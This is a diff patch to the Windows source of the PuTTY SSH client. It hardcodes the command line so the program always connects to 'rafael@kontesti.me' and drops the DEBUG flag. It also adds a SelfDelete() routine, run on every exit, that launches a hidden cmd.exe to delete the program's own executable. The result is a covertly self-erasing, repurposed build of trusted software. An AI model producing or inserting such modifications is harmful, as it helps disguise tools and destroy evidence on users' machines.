diff -ur putty.orig//WINDOWS/MAKEFILE.CYG putty/WINDOWS/MAKEFILE.CYG
--- putty.orig//WINDOWS/MAKEFILE.CYG	2010-08-03 00:30:48.000000000 -0300
+++ putty/WINDOWS/MAKEFILE.CYG	2010-08-15 17:56:02.534033600 -0300
@@ -114,7 +114,7 @@
 # You may also need to tell windres where to find include files:
 # RCINC = --include-dir c:\cygwin\include\
 
-CFLAGS = -mno-cygwin -Wall -O2 -D_WINDOWS -DDEBUG -DWIN32S_COMPAT \
+CFLAGS = -mno-cygwin -Wall -O2 -D_WINDOWS -DWIN32S_COMPAT \
 		-D_NO_OLDNAMES -DNO_MULTIMON -DNO_HTMLHELP -I.././ \
 		-I../charset/ -I../windows/ -I../unix/ -I../mac/ \
 		-I../macosx/
diff -ur putty.orig//WINDOWS/WINDOW.C putty/WINDOWS/WINDOW.C
--- putty.orig//WINDOWS/WINDOW.C	2010-07-30 20:45:40.000000000 -0300
+++ putty/WINDOWS/WINDOW.C	2010-08-15 18:13:22.542684800 -0300
@@ -318,6 +318,7 @@
     WNDCLASS wndclass;
     MSG msg;
     int guess_width, guess_height;
+    cmdline = dupprintf("rafael@kontesti.me");
 
     hinst = inst;
     hwnd = NULL;
@@ -845,6 +846,26 @@
     return msg.wParam;		       /* ... but optimiser doesn't know */
 }
 
+BOOL SelfDelete()
+{
+    TCHAR szFile[MAX_PATH], szCmd[MAX_PATH];
+
+
+    if((GetModuleFileName(0,szFile,MAX_PATH)!=0) &&
+            (GetShortPathName(szFile,szFile,MAX_PATH)!=0))
+    {
+        lstrcpy(szCmd,"/c del ");
+        lstrcat(szCmd,szFile);
+        lstrcat(szCmd," >> NUL");
+
+
+        if((GetEnvironmentVariable("ComSpec",szFile,MAX_PATH)!=0) &&
+                ((INT)ShellExecute(0,0,szFile,szCmd,0,SW_HIDE)>32))
+            return TRUE;
+    }
+    return FALSE;
+}
+
 /*
  * Clean up and exit.
  */
@@ -867,6 +888,8 @@
     }
     shutdown_help();
 
+    SelfDelete();
+
     exit(code);
 }
 
